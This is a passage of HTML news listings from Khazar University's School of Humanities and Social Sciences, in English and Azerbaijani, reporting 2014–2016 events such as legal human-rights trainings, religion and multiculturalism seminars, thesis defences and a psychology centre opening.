thoroughly.<br>\r\n<strong><em><br></em></strong></p><p style=\"color:#330066\"><strong><em>\"Khazar Psychological Counselling&nbsp;Center\" Opening Ceremon</em></strong><strong>y</strong>&nbsp;</p><p>On February 29, an opening ceremony was held for the Khazar Psychology Services Center in Khazar University. Melek Kerimova, coordinator of the center, made a presentation about the need to establish the Center and the services it will provide. She noted that the Center was founded by an order of the University President in order to provide psychological support to students and visitors. The Center will operate according to University guidelines and will coordinate seminars, courses, trainings, conferences as well as providing free psychological consultation services to university students and paid services to non-university clients.&nbsp;Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, also participated and spoke at the opening ceremony. Participants’ questions were also answered during the event.</p><p>&nbsp;<br>\r\n<strong>FALL-2015</strong><strong></strong> &nbsp;</p><p><strong><em style=\"color:#330066\">Humanitar və Sosial elmlər fakültəsinin dəstəyi ilə fakültədə&nbsp;“Multikulturalizm” mövzusunda seminar</em></strong></p><p><strong><em></em></strong> 21.12.2015 ci il tarixində&nbsp;Xəzər Universiteti, Humanitar və Sosial elmlər fakültəsinin dəstəyi ilə fakültənin Jurnalistika departamentinin müəllimi Rəfi Qurbanov tərəfindən “Multikulturalizm” mövzusunda seminar keçirildi. Müzakirə zamanı dünyada mövcud olan modellərlə yanaşı, Azərbaycan multikulturalizmi və dövlət siyasəti də əsas mövzulardan oldu. Seminar çərçivəsində aşağıdakı mözvulara da toxunuldu: &nbsp; ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Multikultural anlayışın meydana gəlmə səbəbləri ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mədəni müxtəlifliyin təzahür formaları ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Multikulturalizmin Kanada modeli ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Multikulturalizmin Sinqapur modeli ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Assimilyasiya və izolyasiya siyasətlərinin aparılması multikultural siyasətin əsas tərkib hissəsi kimi &nbsp;Seminarda tələbə və işçi heyəti də iştirak etdi.</p><p><br>\r\n<strong style=\"color:#330066\"><em>Legal Education Center Training</em></strong>&nbsp;</p><p>On December 19-20, a training event was held in the Legal Education Center established within the Khazar University School of Humanities and Social Sciences on the topic of “Analysis of the Human Rights Convention in Europe” as part of a continual project of the Center. Participants in the training included students and alumni from Baku State University, the State Administration Academy, National Aviation Academy, and Khazar University as well as lawyers from several government offices and various legal firms.The training included a discussion of lawsuits in the European Court of Human Rights as well as certain laws from the Human Rights Convention and legal precedents.The trainer was Konul Gasimova, member of the European Human Rights Association and former lawyer working in the European Court of Human Rights.</p><p><br>\r\n<strong style=\"color:#330066\"><em>Psixoloji Xidmət Mərkəzinin təşəbbüsü ilə&nbsp;Evlilik həyatına psixoloji və fiziki hazırlıq&nbsp;mövzusunda təlim</em></strong>&nbsp;</p><p>11 dekabr&nbsp;2015 ci ildə Xəzər Universiteti Psixoloji Xidmət Mərkəzinin təşəbbüsü ilə&nbsp;Evlilik həyatına psixoloji və fiziki hazırlıq&nbsp;mövzusunda Universitetinin Psixologiya kafedrasının müəlliməsi, Humanitar və Sosial elmlər fakültəsinin&nbsp;dekan müavini psixoloq Mələk Kərimova tərəfindən seminar təşkil edildi. Seminarda psixoloq Mələk Kərimova evlilik sistemi, bu sistemə&nbsp; &nbsp;gənclərin hazırlığının əhəmiyyətindən, evlilik öncəsi nələrə diqqət ediləcəyi mövzüsünda çıxış edərək tələbələri də diskusiyaya cəlb etmişdir. Seminara həkimlər dəvət edilərək &nbsp;&nbsp;&nbsp;evlilikdən öncə fiziki sağlamlıqda yarana biləcək xəstəliklərdən bəhs edərək tələbələri məlumatlandırdılar. Seminarda həmçinin Fəsləfə və Sosiologiya departamentinin müəllimi Mail Yaqub və digər departament müəllimləri&nbsp;də çıxış etdilər. Tələbələrin böyük marağına səbəb olan bu kimi tədbirlərin&nbsp;Xəzər Psixoloji Konsultasiya Mərkəzi tərəfindən mütəmadi keçirilməsi&nbsp;nəzərdə tutulur.</p><p><br>\r\n<strong style=\"color:#330066\"><em>“Accessible Education, Accessible Future” Event at Khazar University</em></strong><strong style=\"color:#330066\"><em></em></strong>&nbsp;</p><p>On December 4-5, 2015, an event was held by the Y-PEER organization and the Khazar University Center for Students with Disabilities entitled “Accessible Education, Accessible Future.” During the training, students of the the School of Humanities and Social Sciences&nbsp;Zahid Huseynov, Surayya Ibrahimova and member of Y-PEER Farida Jabrayilova made presentations on ethical principles for relating to people with disabilities, guidelines for how to speak and act, and different types of disabilities. A special short film was shown and discussed. Gunel Gurbanova, student of the School of Humanities and Social Sciences as well as volunteer in the Center, made a presentation about historical figures who had disabilities. Then participants played psychological games intended to help them understand the difficulties faced by people with disabilities and how those problems can be solved.&nbsp;On December 5, an exhibit was held on the first floor of the university to display handicrafts made by people with disabilities. Then guests of the exhibit participated in a training and shared their life experiences with the audience. Around 20 students participated in the training, and they were awarded certificates at the end of the day.</p><p><br>\r\n<strong style=\"color:#330066\"><em>Entrance exams for Doctoral Programs at Khazar University begin</em></strong>&nbsp;</p><p>Entrance exams for PhD programs in 17 fields at Khazar University were held on November 23, 2015. Khazar University rector, Dr. Hassan Niknafs and the head of the departments participated in the exam. The candidates who passed the first stage will take their next exam in philosophy on November 27, 2015.</p><p><br>\r\n<strong><em style=\"color:#330066\">Guest Lecture on the Role of Azerbaijan in European Energy Supply</em></strong></p><p><strong><em></em></strong><strong><em></em></strong> On November 23, 2015, Mr. Ilham Shaban, the Director of the Caspian Barrel Center for Oil Studies, delivered a guest lecture for undergraduate students of the Department of Political Science and International Relations of Khazar University. His main focus was on Azerbaijan\'s place in the European energy strategy. He spoke about the main destinations for Azerbaijani oil and gas exports, both in Europe and elsewhere in the world. He also talked about the changing market conditions, changes in oil supply and demand and its impact on prices, peculiarities of commercial gas sales and \"the new oil strategy\" of Azerbaijan. Mr. Shaban shared with the student’s exclusive information about the volumes of oil and condensate production in Azerbaijan by the year 2020 obtained from the companies specializing in the energy sector. The lecture was followed by a question and answer session, where questions were raised about the delivery of gas to Nakhchivan according to the swap agreement with Iran, the diversification of oil and gas export routes, peculiarities of TAP and TANAP projects, and the influence of the interstate relations on their realization as well as their influence on regional cooperation including Turkey and Georgia.</p><p><br>\r\n<strong><em style=\"color:#330066\">Welcome Party for Freshmen of School of Humanities and Social Sciences</em></strong><strong><em></em></strong>&nbsp;</p><p>On October 28, 2015, a welcome party was held for first-year students of the School of Humanities and Social Sciences. Associate Professor Jabir Khalilov, Dean of the School, opened the event by greeting the students. Then Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, made a speech to congratulate the instructors and students as well as to tell them about multifaceted progress in the university’s development and to encourage them to be active in the social life of the university. Then students from each major performed various songs, dances and other numbers they had prepared for the event. This event provided an opportunity for students to display their talents as well as to get to know staff and be encouraged to be actively involved in university activities.&nbsp;</p><p><br>\r\n<strong style=\"color:#330066\"><em>Legal Training Center Event</em></strong><strong style=\"color:#330066\"><em></em></strong>&nbsp;</p><p>On October 10-11, 2015, a training was held on the topic of “Analysis of the European Convention on Human Rights” in the Legal Training Center. The training was led by Konul Gasimova, member of the European Human Rights Association and former lawyer in the European Court of Human Rights. Participants included undergraduate and graduate students from Khazar University, Baku State University, the State Administration Academy of the President of the Azerbaijan Republic, and Kiev State University, as well as lawyers working in government and in various legal corporations. Jabir Khalilov, Head of the Legal Training Center, opened the event by greeting participants and wishing them success in their future work. Then participants discussed the process of taking complaints to the European Court of Human Rights and were familiarized with certain decisions of the court as well as selections from the European Court of Human Rights. The training was planned to be held over two days, but it was so interesting for the participants that they requested that it be continued. Per the requests, a continuation of the training has been planned for the coming months</p><p><br>\r\n<strong style=\"color:#330066\"><em>Xəzər Universiteti Humanitar və Sosial elmlər fakültəsinin dekan müavini, psixologiya kafedrasının müəllimi</em></strong><strong style=\"color:#330066\"><em> Mələk Kərimova türkiyəli mütəxəssis Səlim Günüçlə birlikdə internet asılılığının müəyyənləşdirilməsi ilə bağlı testi Azərbaycanda istifadəyə uyğunlaşdırıblar.</em></strong>&nbsp;</p><p>Bu test 1146 tələbə üzərində sınaqdan keçirilib, ilk empirik test olaraq, ABŞ-ın “Journal of Education və Training Studies” (http://redfame.com/journal/index.php/jets/index) nəşrində online dərc edilib. “İnternet asılılığımızın olub-olmadığını necə bilərik?” adlı testi türkiyəli mütəxəssislər Səlim Günüç və Murad Kayri 2010-cu ildə birlikdə hazırlayıblar. Tədqiqatda eyni zamanda Azərbaycan tələbələri arasında internet asılılığının hansı vəziyyətdə olduğu müəyyən edilib: “Nəticələrə görə, tələbələrin 48.1% internet asılılığı olan, 51.9% internet asılılığı olmayan qrup kimi qarşımıza çıxmaqdadır. &nbsp;Bu, profilaktik tədbirlərin həyata keçirilməsinin zərurətini ortaya qoyur”. Bu tədqiqat Azərbaycan psixoloqlarının gələcəkdə görəcəyi tədbirlər və yeni elmi işlər üçün böyük əhəmiyyət kəsb edir. Başqa ölkələrdə istifadə edilən və sadəcə olaraq, tərcümə edilərək istifadə edilən psixoloji testlər elmi olaraq doğru hesab edilməməkdədir. Bu mənada Azərbaycan cəmiyyətinə uyğunlaşdırılan və elmi olaraq yoxlanılan testlərin tətbiqi böyük əhəmiyyət kəsb edir. Bu test elmi təsdiqini tapmış klinik test olaraq psixoloqlar, psixiatrlar tərəfindən istifadə edilə bilər. Mələk Kərimovanın sözlərinə görə, son illərdə texnologiyanın inkişafına bağlı olaraq yeniyetmə və gənçlər arasında internetdən istifadə geniş yayılıb: “Artıq internetsiz, cib telefonu olmadan həyatı düşünmək belə insana ağlasığmaz gəlir. İnternet müxtəlif məqsədlərlə istifadə edilir. İnternet insanlar arasındakı ünsiyyət üçün bir mənbəyə çevrilməklə bərabər, onları təcili xəbərləşmə, əyləncə, oyun, ticarət və s. kimi faydaları ilə özünə çəkir. İnternet vaxt anlayışının önünə keçərək işlərimizi asanlaşdırır. Təbii ki, faydaları ilə yanaşı, internetin zərərləri də qaçılmazdır. Məqsədsiz, hərəkətsiz saatlarla internet qarşısında əyləşən və fərqində olmadan internetdən asılı hala gələn insanların sayı da gündən-günə artmaqdadır. İnternet asılılığı artıq dünyadakı mütəxəssislərin diqqətini çəkməkdədir. İlk dəfə Goldberg (1996) və daha sonra Young (2013) kimi mütə xəssislər “internet asılılığı” termini üzərində işləyiblər. Onlar “patoloji internet istifadəsi” terminindən istifadəni uyğun hesab ediblər. Hansı terminologiyanın istifadə edilməsindən asılı olmayaraq, bu, əsrin problemi olaraq yaxın gələcəkdə qarşımıza çıxacaq. Bu mənada internet istifadəçiləri arasında internet asılılığı olan və olmayanların düzgün şəkildə müəyyən edilməsi böyük əhəmiyyət kəsb edir”.<br>\r\n<strong><em><br></em></strong></p><p><strong><em style=\"color:#330066\">Master Defence Successes</em></strong><strong><em></em></strong>&nbsp;</p><p>On September 21, there were held Master thesis defences by the the English language and Literature Department. The following students defended their Master theses. Rajab Rajabov’s thesis was&nbsp;<em>Translation of phraseological units in the novel&nbsp;</em><em>“ Jenny Gerhardt” by T. Dreiser.</em>&nbsp;Yegane Aghaeva’s thesis was<em>Perspectives on Valency&nbsp; in Azerbaijani and English languages. A comparative approach to strategies for passivization and causation</em>. Arzu Aziziova’s thesis was&nbsp;<em>Socio-literary analysis of Clyde Griffiths as a protagonist image in Theodore Dreiser</em><em>’s novel “An American Tragedy”</em>.&nbsp;Ulkar Guliyeva’s thesis was&nbsp;<em>The Great Gatsby” by F. Scott Fitzgerald: Stylistic devices and their interpretation into the Azerbaijani language</em>. Gunel Rustamova’s thesis was&nbsp;<em>The problem of war and peace in Ernest Miller Hemingway’s literary works.</em>&nbsp;ValiDa Karimova\'s thesis was&nbsp;<em>Metaphor in political discourse</em>. The head of the Committee was Baylar Hajiyev, the members of the committee were Eldar Shahgaldiyev, Irada Samadova, Dilbar Zeynalova, Reyhan Madatova, Gulnar Abasova, Jamala Mammadova. M.A. students answered the committee members’ questions during the defence. Upon the whole, thesis defence passed successfully.&nbsp;</p><p>&nbsp; &nbsp;&nbsp;</p><p><strong>SPRING-2015</strong></p><p><strong></strong> <strong style=\"color:#330066\"><em>Conference on \"Religions and Secularities in the Caucasus: New Configuration,\" which took place in Tbilisi, Georgia, at the Ilia University</em></strong>&nbsp;</p><p>From 1 to 3 June 2015, Associate Professor of the Department of Political Science and International Relations, Dr Rashad Huseynov participated at the conference on \"Religions and Secularities in the Caucasus: New Configuration,\" which took place in Tbilisi, Georgia, at the Ilia University.The conference, which was organized as part of the EU-supported CASCADE project in collaboration with the ISSICEU project, was dedicated to the reconfiguration of religions and secularism in both North and South Caucasus in more than two decades after the collapse of the Soviet Union. &nbsp;Dr Huseynov made a presentation on \"the role of religious education in strengthening secular traditions in Azerbaijan.\" He spoke about the current state of religious education in the country, relevant legislation, international experience and existing challenges to religious education at public schools, and made recommendations on possible ways to overcome those challenges. After his presentation, Dr Huseynov answered the questions of conference participants.</p><p><br>\r\n<strong style=\"color:#330066\"><em>The Employee of School of Humanities and Social Sciences participated on the \"5th International Symposium of Policies and Issues on Teacher Education\"</em></strong>&nbsp;</p><p>This year the \"5th International Symposium of Policies and Issues on Teacher Education\" was organized on 30 April-02 May, 2015 in Azerbaijan by the Faculty of Education of Hacettepe University,&nbsp;Azerbaijan State Pedagogy University and&nbsp;the Faculty of Pedagogy of Gafqaz University.&nbsp;At Symposium, the Vice-Dean of School of Humanities and Social Sciences, Malak Karimova participated. At Symposium modern education future, education reform, a wide range of problems in this field discussed and also detailed discussions were held on the work to be done in the future.</p><p>&nbsp;</p><p><strong style=\"color:#330066\"><em>The Employees of School of Humanities and Social Sciences participated on the III International Scientific Conference of Young Researchers Devoted to the 92nd Anniversary of Azerbaijani National Leader Heydar Aliyev,&nbsp;</em></strong><strong style=\"color:#330066\"><em>Aprel 17-18, 2015</em></strong>&nbsp;</p><p>The Vice-Dean, School of Humanities and Social Sciences Malak Karimova and the Dean assistant ValiDa Karimova participated on the \"III International Scientific Conference of Young Researchers\"&nbsp;which was held on April 17-18, 2015. The conference aims were to get young people more interested in science, to bring together young researchers and scientists from various universities, centers, and institutions, to share their experiences with others, to analyze the problems they face, to discuss the common problems and provide opportunity to put forward proposals. <em>Research Track.</em>&nbsp;\"III International Scientific Conference of Young Researchers\" invites authors to submit their papers in the following research areas:</p><ul type=\"disc\">\r\n <li>Engineering</li>\r\n <li>Natural Sciences</li>\r\n <li>Economics</li>\r\n <li>Philology</li>\r\n <li>History and Law</li>\r\n</ul>At the Conference Malak Karimova performed with the thesis “Internet Addiction and ways to measure”. At the end of the conference the participants awarded with certificates.<br>&nbsp;<br><p><strong><em style=\"color:#330066\">“Depression and Suicide” Writing Competition results</em></strong>&nbsp;</p><p>On April 9, 2015, an awards ceremony was held for the “Depression and Suicide” creative writing contest held by the Khazar University Psychology and Consultation Center in collaboration with “Düşüncə” (Thought) Journal. 100 essays were submitted to the contest, and 36 of them were chosen. They were checked by professional specialists in the field. Four individuals were chosen as winners. One of them, Samir Imanov, who is also disabled, was awarded first prize. Then specialists gave information about suicide and depression from psychological, legal and philosophical perspectives. Speeches were made by Elnur Rustemov, family psychologist, Director of the Psychology and Consultation Center, and ANAS researcher; Akif Alizada, lawyer; and Mail Yagub, Head of the Philosophy department. At the end of the event, Prof. Hamlet Isaxanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, spoke about the contest. Ulker Isayeva, Head of the Psychology Department, also spoke at the closing of the ceremony.<br>\r\n<strong><br></strong></p><p style=\"color:#330066\"><strong><em>Training in Legal Education Center</em></strong><em>&nbsp;</em></p><p>On March 13-15, 2015, the first training event of the new academic year was held at the Khazar University Legal Education Center, established three years ago. The topic of the training was “Human Rights Convention in Europe: General Analysis.” Participants included students majoring in law and international relations from Khazar University, Baku State University, National Aviation Academy, Azerbaijan State Oil Academy and the State Administration Academy of the President of Azerbaijan Republic. The training was led by Konul Gasimova, member of the European Human Rights Association and former lawyer working in the European Court of Human Rights. She analyzed and discussed themes related to Defense of Human Rights and Basic Freedoms according to the European Convention, including “Faithfulness to the Convention” (Section 6), “Signature and Ratification” (Section 7), and “Entry into Force” (Section 10). At the end of the training, participants were given certificates.&nbsp; &nbsp;<br>\r\n<strong><br></strong></p><p><strong><em style=\"color:#330066\">Exhibition of Student Art</em></strong>&nbsp;</p><p>On December 24-26, a private exhibition of the works of Pari Gazibeyova, first-year student of Khazar University’s School of Humanities and Social Sciences, was held in the university exhibition hall. Over 20 of Pari’s works were displayed in the exhibition, which was very interesting to students and instructors alike. A decision was made to hold an exhibition of Pari Gazibeyova’s future art as well.</p><p style=\"color:#330066\"><em>&nbsp;<br>\r\n</em><strong><em>The Presetation of Certificates to the Participants of “English Language Methodology” and Thesis-Writing for MA Students Workshop</em></strong>&nbsp;</p><p>On December 12 there was held the ceremony of presentation of certificates which was held 3 months at Khazar University with the guests invited from the&nbsp;US Embassy. The teachers of the Department of English Language and Literature, MA students from School of Humanities and Social Sciences also participated alongside with the guests in the ceremony. The ceremony was opened by the trainer of the seminar “English Language Methodology Workshop” Mary Kay Seales. The participants of the ceremony spoke highly about Mary Kay Seales, and the experience and best practices that they had learned during the seminar. The ceremony went on with the speeches of Kelly Cullum, from the department of Cultural Affairs and Zulfiya Shirinova, English Language program coordinator of the US Embassy. &nbsp;They gave a lot of information about the programs of the US Embassy available for the teachers. At the end the participants were awarded with the certificates.<br>\r\n<strong><em><br></em></strong></p><p style=\"color:#330066\"><strong><em>Election for Student Council President</em></strong><strong><em></em></strong>&nbsp;</p><p>On December 5, an election was held to choose the Khazar University Student Union President. Three candidates competed in the election. According to the results of the voting,&nbsp;Mirzeaga Samadov, third year student of the School of Humanities and Social Science, was elected president of the Student Union with 408 votes. Aziza Jafarly, second year student of the School of Economics and Management, was elected vice president with 185 votes. Professor Hamlet Isaxanli, Founder of Khazar University and Chairman of the Board of Directors and Trustees, congratulated our students who were selected to these important public positions. He wished them success and effective service as part of the Student Council. &nbsp;&nbsp;</p><p><strong style=\"color:#330066\"><em>Routine Training of Legal Education Center</em></strong><strong style=\"color:#330066\"><em></em></strong>&nbsp;</p><p>The Legal Education Center affiliated at Khazar University began its training on “European Human Rights Court: procedures for cases and guaranteed rights”&nbsp; on October 23 and completed it on October 26.Participants in the training included students&nbsp;majoring in&nbsp;Law and International Relations&nbsp;at Khazar University,&nbsp;Baku State University, the National Aviation Academy, Azerbaijan State Oil Academy,&nbsp;and&nbsp;State Administration Academy of the President of the Azerbaijani Republic.The training was led by Konul Gasimova, member of the European Human Rights Association and former lawyer working in the European Court of Human Rights.&nbsp;Topics of “Right to live,” “Right to dignity of personal life and family life,” “freedoms of thought, conscience and religion,”&nbsp;and&nbsp;“conditions for acceptance” according to the Convention for the Protection of Human Rights and Fundamental Freedoms&nbsp;were&nbsp;discussed and analyzed in detail. The training concluded with the presentation of certificates. &nbsp;&nbsp;</p><p><strong style=\"color:#330066\"><em>Legal Education Center training courses continue</em></strong>&nbsp;</p><p>The Khazar University Legal Education Center has been in operation for two years. It began its training courses for the current academic year with a training event on October 23rd. Participants in the training included students from Baku State University, the National Aviation Academy, Azerbaijan State Oil Academy, State Administration Academy of the President of the Azerbaijani Republic, and Khazar University’s own Law and International Relations majors.The training, which is on the topic of “European Human Rights Court: procedures for cases and guaranteed rights,” will continue for three days. Detailed training is given on the topics of “Right to live,” “Right to dignity of personal life and family life,” “freedoms of thought, conscience and religion,” “conditions for acceptance” according to the Convention for the Protection of Human Rights and Fundamental Freedoms.The training was led by Konul Gasimova, member of the European Human Rights Association and former lawyer working in the European Court of Human Rights.&nbsp; &nbsp;</p><p><strong style=\"color:#330066\"><em>Legal Education Center conducts weekly training courses</em></strong><strong style=\"color:#330066\"><em></em></strong>&nbsp;</p><p>On June 28, a weekly training on Advocacy Skills was conducted at Khazar University Legal Education Center. Arzu Aliyeva, a member of Azerbaijan Bar Association, talked about Claim Preparation for Appeal and Cassation Instances on Civil Cases. During the training, young lawyers worked on legal documents and developed skills in preparation of claims.&nbsp;<br>\r\n<strong><em><br></em></strong></p><p style=\"color:#330066\"><strong><em>Final Meeting of Staff-Student Consultative Committee of the Department of Political Science and International Relations</em></strong><strong><em></em></strong>&nbsp;</p><p>On 24 June 2014, the Staff-Student Consultative Committee of the Department of Political Science and International Relations&nbsp;held its final meeting for the current 2013-2014 academic year. Dr. Mukhtar Hajizada, the Head of the Department, convened and chaired the meeting. Following the approval of the minutes from the previous meeting of the Committee, the elected student representatives of the Committee discussed the progress made on the points raised in the previous meeting. Kamran Mammadov, Anar Qurbanov, Mirzeaga Samadov, Seda Hasanova and Gunel Mammadova suggested new agenda items which were discussed in an open and thorough manner. In conclusion, the student representatives expressed their satisfaction for the opportunity to have a structured forum to discuss their concerns with regard to teaching, learning and student support issues on the departmental level. Dr. Hajizada thanked them for their contribution to the Committee and acknowledged their university service which lasted for one academic year. The new members of the Committee will be elected by the student body of the university in the 2014-2015 academic year. <strong><em>&nbsp;</em></strong>&nbsp;</p><p style=\"color:#330066\"><strong><em>Master Students Defend Theses</em></strong><strong><em></em></strong>&nbsp;</p><p>On June 18, 2014, master’s students of Khazar University School of Humanities and Social Sciences Xandra Marshall and Sehon Marshall defended their theses on the following topics:1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Xandra Marshall – “The Impact of Globalization in the culture of Saint Vincent and Grenadines” (supervisor Kanan Allahverdiyev);2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sehon Marshall – “Regionalism in the Organization of Eastern Caribbean States” (supervisor Kanan Allahverdiyev).The Defense Council approved both works and recommended them to the university’s Academic Council for further endorsement.&nbsp; &nbsp;&nbsp;</p><p><strong><em style=\"color:#330066\">Khazar Students at Event in Sweden</em></strong><strong><em></em></strong>&nbsp;</p><p>On June 1-9, a cultural event for youth took place in Viksjöfors, Sweden as part of the European Union Youth in Action program. Young adults from Azerbaijan, Sweden, Belarus, Cyprus, Latvia, Slovakia, the Ukraine, and Armenia participated. The group representing the Azerbaijan Republic at the event was organized by the Legal Analysis and Research Public Union and included the following Khazar University students: Miragha Baghirov, Rugangiz Asgarova, and Isfandiyar Safarov from the School of Humanities and Social Sciences; and Musa Abdullayev from the School of Economics and Management. The students performed national dances and musical numbers at the event, demonstrating Azerbaijani culture to the other participants. Helena Ehrstand, the project leader, and Matilda Norling Person, the head coordinator, said that they appreciated the performances of the Azerbaijani representatives. Helena Ehrstand said, “I have been coordinating this project for several years now, but I have never seen such a lively music and dance performance as that of the Azerbaijani representatives. This is a great novelty for us. I hope that we will be able to continue our partnership with you.” At the end of the event, the students were awarded certificates.&nbsp; &nbsp;&nbsp;</p><p><strong style=\"color:#330066\"><em>Khazar University Legal Education Center holds Weekly Training Courses</em></strong>&nbsp;</p><p>On May 31, a training on Advocacy Skills was conducted at Khazar University Legal Education Center. Natavan Rustamova, a member of Azerbaijan Bar Association, talked about Client interviewing and Counseling as practical skills of&nbsp;an&nbsp;attorney. The training&nbsp;session was aimed at improving practical skills of young lawyers. The course provided participants with a basic model for interviewing and counseling, and exposed them to the kinds of problems and ethical issues that can arise in counseling clients. Young lawyers also had an opportunity to work on cases.</p><p><br>\r\n<strong style=\"color:#330066\"><em>Khazar University Legal Education Center Launches Advocacy Skills training</em></strong><strong style=\"color:#330066\"><em></em></strong>&nbsp;</p><p>On May 24, the first training on Advocacy Skills was conducted at Khazar University Legal Education Center. Akif Alizade, lecturer at Khazar University and a member of Azerbaijan Bar Association, talked about the General Rules and Legal Basis of Advocacy activity in Azerbaijan.This time, 40 applicants applied for the program. &nbsp;Given the quality of applications, the process of selecting a limited number of lawyers was difficult. As a result of the two-stage selection process (application and interview), 9 applications were selected based on their academic and practical qualifications. The program will continue for several months and is free. During the program the lawyers will learn skills both&nbsp;<em>theoretically,</em>&nbsp;through readings and discussions, and&nbsp;<em>experientially,&nbsp;</em>through demonstrations, exercises, stimulations, and writing assignments.&nbsp;<br><strong><em><br></em></strong></p><p><strong><em style=\"color:#330066\">Roundtable on Azerbaijan and Islam in an Era of Globalization</em></strong>&nbsp;</p><p>The Department of Political Science and International Relations at Khazar University, in collaboration with the Baku office of the French Institute of Anatolian Studies (IFEA), organized a roundtable to discuss Azerbaijan and Islam in an Era of Globalization. Dr. Mukhtar Hajizada, who chaired the event, gave an opening speech in which he mentioned the role of religion in Azerbaijan and how it had an impact on the history, culture and lifestyle of the country. The first speaker, Dr. Elnura Azizova of Khazar University, gave a presentation on the arrival of Islam in Azerbaijan in the 7th century. Dr. Adeline Braux, a researcher at the French Institute of Anatolian Studies, shared her research findings on the religious life of the Azerbaijani community in Moscow. Dr. Mohamed-Ali Adraoui, who is a Max Weber Fellow at the European University Institute in Florence, spoke about political Islam in the contemporary world and informed the audience about Salafi trends. Dr. Anar Valiev, the dean of the School of Public and International Affairs at ADA University, talked about the role of Islam in Azerbaijan in the period after the country regained its independence. After the question and answer session, a discussion was carried out over tea and refreshments encouraging the audience to interact directly with the speakers.</p><p><br>\r\n<strong style=\"color:#330066\"><em>64th Anniversary of Europe Day Celebrated</em></strong>&nbsp;</p><p>The Department of Political Science and International Relations at Khazar University, in collaboration with the Delegation of the European Union to Azerbaijan, organized an event to celebrate Europe Day. This day, also known as Schuman Day, is observed across Europe to celebrate the historic Schuman Declaration of 9 May 1950. At the event, Dr. Olaf Heidelbach, the project manager at the Delegation, first delivered a presentation on the origins of the European Union, its foundation and its function today. Following the presentation, a discussion was held on a wide range of issues relating to the European integration as well as European Union- Azerbaijan relations which brought together both staff and the student body of the university.</p><p><br>\r\n<strong style=\"color:#330066\"><em>\"Judaism: Beliefs and Worldview\"</em></strong>&nbsp;</p><p>On May 8, as organized by the Department of Eastern Languages and Religious Studies of Khazar University, an event entitled”&nbsp;Judaism: beliefs and worldview\" was held as part of the \"experience of living together\" series. Opening the event, Head of the Department Dr. Elnura Azizova noted that various programs to promote and study of world religions have been implemented at&nbsp;Khazar University in order to recognize and understand diversity. Then, students of the School of Humanities and Social Sciences gave information about the structure of Judaism, faith, worship, morality, and the public. Chairman of the Ashkenazi Jewish community in Azerbaijan, Ravvin Shneor, spoke about the history of Judaism and the Jewish community to the students, and answered students’ questions related to Judaism.<br>\r\n<strong style=\"color:#330066\"><em><br>\"Christianity: Belief and Worldview\" Event</em></strong>&nbsp;</p><p>On May 1, as organized by the Khazar University Department of Eastern Languages and Religious Studies, an event in the \"Experience of Living Together\" series entitled \"Christianity: belief and worldview\" was held.At the opening of the event, Dr. Elnura Azizova, head of the department, said that Azerbaijan is a region where Christians and members of other religions have lived together throughout history, and this important tradition continues here.Then, students of the School of Humanities and Social Sciences made presentations about the establishment, dissemination, faith, worship and moral system of Christianity and its current state. Robert Mobili, Albanian-Udi community leader, presented a slide show about the history and current state of the Albanian-Udi Church, which is the oldest representative of Christianity. At the end of the event, students’ questions about Christianity and the Albanian-Udi church were answered.</p><p><br>\r\n<strong style=\"color:#330066\"><em>Legal Education Center Organizes Mock Trial</em></strong>&nbsp;</p><p>4-month training courses on Human Rights have been completed at Khazar University Legal Education Center, established with the support of Azerbaijan Lawyers Confederation (ALC) and the US Agency for International Development (USAID) within the framework of the “Azerbaijan Rights Consortium” project. On April 12, the participants of the “Human Rights”&nbsp;training course simulated a mock trial on a Human Rights under the supervision of Akif Alizade, Khazar University lecturer and a member of Azerbaijan Bar Association.In accordance with the agenda, the court simulation started with the opening statements of the parties, victim testimony,&nbsp;and witness presentation. It concluded with closing arguments, jury deliberation, verdict and judgement. The jury was composed of 10 persons including students, Legal Education Center staff&nbsp;and&nbsp;a representative from ALC.At the end, participants held discussions at the Legal Education Center and expressed their gratitude to Khazar University, especially to the&nbsp;Center staff, for organizing the event. &nbsp;&nbsp;</p><p><strong style=\"color:#330066\"><em>Seminar on \"Human Rights, Freedom of Religion and Islam\"</em></strong><strong style=\"color:#330066\"><em></em></strong>&nbsp;</p><p>On March 31, as organized by the Department of Eastern Languages and Religious Studies, a seminar on \"Human rights, freedom of religion and Islam\" was held at Khazar University. Dr. &nbsp;Elnura Azizova, head of the department, opened the event, stating that the issue of human rights and religious freedom&nbsp;has&nbsp;been discussed in a variety of different domains in the context of Islam in recent years&nbsp;and is becoming increasingly more important.Then Elnura Azizova reported on \"Analysis of the concept of freedom of religion in Islamic human rights declarations,”&nbsp;Dr. Ali Bulut (Suleyman Demirel University, Turkey)&nbsp;reported on \"Overview of the Qur\'an in the context of human rights,” Dr. Elmin Aliyev (Khazar University) reported on \"Freedom of thought in Islam in the context of science and philosophy,\"&nbsp;and&nbsp; theologian Salih Kazımov (BSU) reported on \"The attitude of Islam toward the members of other religions.” After the lectures,&nbsp;reports were discussed with the participation of&nbsp;employees of the university&nbsp;Dr. Mayıl Yagubov, Jabir Mammadov, Dr.&nbsp;Zivar Huseynova, and students.</p><p>&nbsp;<br>\r\n<strong style=\"color:#330066\"><em>The Legal Education Center launches weekly training courses on Human Rights</em></strong>&nbsp;</p><p>On March 15, weekly training courses were held at Khazar University Legal Education Center, established with the support of Azerbaijan Lawyers Confederation and the US Agency for International Development (USAID) within the “Azerbaijan Rights Consortium” project. The center provides training courses on Human Rights to law students and prepares young lawyers who wish to participate in Bar Admission Exams. The participants of the training&nbsp;were students from Khazar University, Baku State University, National Aviation Academy and the Academy of Public Administration under the President of the Republic of Azerbaijan. During the training, Arif Aliyev, Chairman of the “New Generation” The Union of Journalists,&nbsp;talked about “Freedom of Expression and Media Rights”.</p><p><br>\r\n<strong style=\"color:#330066\"><em>The Legal Education Center launches weekly training courses on Human Rights</em></strong>&nbsp;</p><p>On March 8, weekly training courses were held at Khazar University Legal Education 